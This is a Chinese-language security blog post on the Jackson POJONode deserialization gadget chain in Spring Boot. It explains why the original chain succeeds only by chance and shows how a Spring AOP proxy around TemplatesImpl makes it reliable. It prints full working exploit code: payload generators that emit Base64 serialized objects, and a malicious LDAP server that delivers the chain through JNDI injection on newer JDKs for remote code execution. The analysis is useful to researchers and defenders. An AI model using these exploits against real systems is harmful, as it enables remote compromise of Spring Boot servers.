avatar
CRUMBLEDWALL
Keep Curious
从 Jackson 链的进化到高版本 JNDI 注入的转机
Feb 04,2024

前几天好兄弟 lzx 突然发给我一篇文章说,发现之前学过的 Spring Boot Jackson 链几个月前有了一个新的利用。于是火星人的我也去调了一下,发现确实解决了之前的概率触发问题,感觉杀伤力++了。然后结果前几天忙着天天高强度写毕设开题的东西,没时间来写博客,今天终于可以来写写这条链。

Jackson 链的前世今生

原利用链

这条链最早出现在2023年6月的 Aliyun CTF 上,当时有一道叫 bypassit_I 题目第一次把这条链拉进大众视野里。然后是大概两个月后,Nacos JRaft Hessian 反序列化 RCE 的利用在推上很火,一众 Java 大佬都在复现这个洞,当时有几篇文章又提出了用 JNDI 打本地 Jackson 链的思路,之后有许多人提到了这条链的不稳定性,只能概率触发RCE。然后直到新的改进出现,这条链就没有再激起什么水花了。

那么先来盘一下这条概率触发的链本身,也来分析下为啥它是一条概率触发的链。

这条链的依赖只有 Jackson,而 Spring Boot 默认带了 Jackson 包,所以这条链在 Spring Boot 环境下都是可以用的。这条链主要利用了 Jackson 的一个特性,那就是 Jackson 里的 POJONode 类有着跟 Fastjson 的 JSONObject 类差不多的性质,在 toString 时会触发对象类中的 getter 方法,那么也就可以用打 Fastjson 常用的 TemplatesImpl 的 getOutputProperties 链。

POJONode 父类的 toString 方法到触发 getter 的调用链大概如下:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)

其中 serializeAsField 函数的第一行会依次触发类中的 getter。

那么就可以用 BadAttributeValueExpException 来搓一个 toString 的 exp,这里需要删一下 BaseJsonNode 的 writeReplace 方法,避免生成 Payload 的时候触发链子。

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {
				// 去除 writeReplace 方法, 避免 Payload 生成阶段触发链子
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{ClassPool.getDefault().get(Rewrite.class.getName()).toBytecode()});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "crumbledwall");

        fieldName = templates.getClass().getDeclaredField("_tfactory");
        fieldName.setAccessible(true);
        fieldName.set(templates, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());

        POJONode pojoNode = new POJONode(templates);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        fieldName = badAttributeValueExpException.getClass().getDeclaredField("val");
        fieldName.setAccessible(true);
        fieldName.set(badAttributeValueExpException, pojoNode);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

概率触发原因

然而这条链子是概率触发的,有时候打着打着会发现打不通了,出现如下的空指针报错:

这其实是因为 Jackson 在触发 getter 的时候是以随机顺序触发的, 图中的情况就是先触发了 getStylesheetDOM 这个 getter,导致了空指针错误,于是就走不到 getOutputProperties 的后续利用了。

关于为啥 Jackson 触发 getter 是随机的,下面来分析一波。

在上文提到的 getter 被调用前,其上层函数 serializeFields 是遍历一个名为 props 的数组,然后循环调用 serializeAsField 来触发 getter。

而这里的 props 就是 TemplatesImpl 的三个 getter,这个数组的顺序决定了调用的顺序。

那么下面就是找找这个 props 变量是从哪来的了。

一层一层地往上找,最终可以找到这个 props 数组是由 POJOPropertiesCollector 类的 collectAll 方法获取的。而继续往里跟,最终定位到 AnnotatedMethodCollector 类的 _addMemberMethods 方法,所有的 Method 都是由这个方法通过 ClassUtil.getClassMethods 从类中反射获取的,后续获取 getter 也只是不改变顺序,单纯从数组中删除方法。

而 ClassUtil.getClassMethods 其实就是一个 getDeclaredMethods 的封装。那么其实问题就定位到了 getDeclaredMethods 返回的顺序上了。这就是坑点所在了,查一下 Java 官方文档可以发现,原来 getDeclaredMethods 返回的顺序是不确定的:

The elements in the returned array are not sorted and are not in any particular order.

然后这里获取的顺序是有缓存的,也就是说在 Spring Boot 环境中,获取一次顺序后就这个顺序就固定了,只有重启服务器才有可能变成其他的顺序。

这个可以简单写个返回 TemplatesImpl 所有方法的路由来测试,在重启服务器之后可以获得下图这样不同的顺序,getOutputProperties 和 getStylesheetDOM 的前后顺序是不确定的(然后这里有个很玄学的事情就是,单纯写个 main 方法打印 getDeclaredMethods 的结果并运行永远只有一种顺序,而写个 Spring Boot 的路由,重启一次 Spring Boot 再 curl 一次,才能测出不同的顺序,盲猜跟 ClassLoader 不同有关)。

那么基本就搞清楚这条链为啥是概率通了,因为 getDeclaredMethods 的返回不确定,我们无法确保 props 数组中 getOutputProperties 一定在 getStylesheetDOM 前,如果 getStylesheetDOM 在前面,就会先触发一个空指针错误,然后就寄掉了。而且这个是没法不停抽卡的,这个顺序获取一次就被缓存下来了,只有服务器重启才有可能刷新这个顺序,所以一次打不通的话就凉凉了。

利用链改进

然后在好兄弟发我的这篇文章中,作者靠代理类解决了这个顺序不确定的问题,非常顶级,下面来分析一下。

这条改进的利用链中用到了org.springframework.aop.framework.JdkDynamicAopProxy 这个类,这是一个 Spring Boot 默认带的动态代理工具类,其 advised 参数中的 targetSource 参数保存了一个接口的实现类,当代理类上的一个接口方法被调用时,其 invoke 方法就会尝试调用 targetSource 成员保存的实现类对象所实现的对应方法。

而这里有一个细节就是,反射调用 getDeclaredMethods 时,只能获取到代理的接口的方法。而我们注意到,TemplatesImpl 是 javax.xml.transform.Templates 的实现类,而 Templates 接口只有 getOutputProperties 这一个 getter。那么我们只需要创建一个 Templates 接口的代理,并将其实现类指向 TemplatesImpl,那么 Jackson 在获取 getter 时,就只能获取到 getOutputProperties 这一个 getter,也就不存在了顺序问题。

于是基本的思路就确定了,我们首先需要创建一个 AdvisedSupport 对象,将其 targetSource 指向实现类 TemplatesImpl,然后使用 JdkDynamicAopProxy 创建一个javax.xml.transform.Templates 的代理,将其 advised 参数设置成刚才创建的 AdvisedSupport 对象,之后套进上面的 Payload 里就可以了,具体的 Exp 如下:

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import org.springframework.aop.framework.AdvisedSupport;

public class Exp {
    public static void main(String[] args) throws Exception {
        // 删除方法
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        // 构造 templates
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{ClassPool.getDefault().get(Rewrite.class.getName()).toBytecode()});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "crumbledwall");

        fieldName = templates.getClass().getDeclaredField("_tfactory");
        fieldName.setAccessible(true);
        fieldName.set(templates, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());


        // 使用代理工具类封装
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);


        // 构造 toString 链
        POJONode pojoNode = new POJONode(proxy);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        fieldName = badAttributeValueExpException.getClass().getDeclaredField("val");
        fieldName.setAccessible(true);
        fieldName.set(badAttributeValueExpException, pojoNode);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

调试一下可以发现,获取到的 props 只剩了一个,也就没有了概率触发的问题。而这条 Jackson 链,现在也变成了一条真正的 Spring Boot 通杀的链,只要存在一个原生反序列化,就可以在 Spring Boot 环境下 RCE,还是颇有杀伤力的。

高版本 JDK 的 JNDI 注入问题

然后再来聊一下高版本 JDK 的 JNDI 注入问题,其实这个好久之前就想写写这个,然而被我咕掉了。这次因为 Jackson 这个链,高版本 JDK 的 JNDI 注入又有了一个影响范围尚可的通解,值得再来记录一下。

JNDI 注入的困境

首先一个基本的认知是,在 8u191 之后,高版本 JDK codebase 为 true,因此客户端默认不会请求远程 Server上的恶意 Class,因此在存在 JNDI 注入的情况下,也无法直接加载 Class 来 RCE。

然后针对这个问题,有两种常见的绕过方式,分别是服务端返回序列化 Payload,触发客户端的本地 Gadget;以及构造 RMI 返回的 Reference 对象,将其指向我们本地 classpath 中存在的类,并通过寻找合适的 Factory 类来构造 Payload 实现 RCE。

后者有一种常见的思路是利用 org.apache.naming.factory.BeanFactory 这个类来实现利用。其 getObjectInstance 方法可以反射实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值,而它有一个 forceString 参数,可以将任意一个方法指定成一个 setter,那么在这些参数都可控的情况下,我们就有了一个任意静态方法调用,那么就可以在使用 tomcat 8 之后都携带的 javax.el.ELProcessor 来 RCE,这个也叫做 Tomcat Bypass。

但是去年有一天我突然发现这个打不通了,搜报错搜了半天网上也没啥文章说这事。后来搜到了官方的一个 Bug Report,然后发现经过一番讨论之后 forceString 这个特性已经被删了:

也就是说最常见的 codebase bypass 方法已经寄了,在较新的 Tomcat 或者 Spring Boot 环境里基本上只能考虑触发客户端本地 Gadget 的方法了。

转机

然而现在我们有了 Jackson 这条链,那么在 Spring Boot 环境下,我们遇到高版本 JDK JNDI 注入的情况,都可以直接打本地 Jackson 链来解决了。要打本地链需要魔改下 ldap server,可以构造出如下的 Exp:

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

public class Exp {
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = "Exploit";
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
		        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
		        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
		        ctClass.removeMethod(writeReplace);
		        ctClass.toClass();
		
		        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getConstructor(new Class[]{}).newInstance();
		        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
		        fieldByteCodes.setAccessible(true);
		        fieldByteCodes.set(templates, new byte[][]{ClassPool.getDefault().get(Rewrite.class.getName()).toBytecode()});
		
		        Field fieldName = templates.getClass().getDeclaredField("_name");
		        fieldName.setAccessible(true);
		        fieldName.set(templates, "crumbledwall");
		
		        fieldName = templates.getClass().getDeclaredField("_tfactory");
		        fieldName.setAccessible(true);
		        fieldName.set(templates, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
		
		        AdvisedSupport advisedSupport = new AdvisedSupport();
		        advisedSupport.setTarget(templates);
		        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
		        constructor.setAccessible(true);
		        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
		        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
		
		        POJONode pojoNode = new POJONode(proxy);
		
		        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
		        fieldName = badAttributeValueExpException.getClass().getDeclaredField("val");
		        fieldName.setAccessible(true);
		        fieldName.set(badAttributeValueExpException, pojoNode);
            e.addAttribute("javaClassName", "foo");
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(badAttributeValueExpException);

            e.addAttribute("javaSerializedData", baos.toByteArray());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

之后至少在 Spring Boot 环境下又可以愉快地打高版本 JDK 的 JNDI 注入了hhh。

Copyright @ 2018-2024
Crumbledwall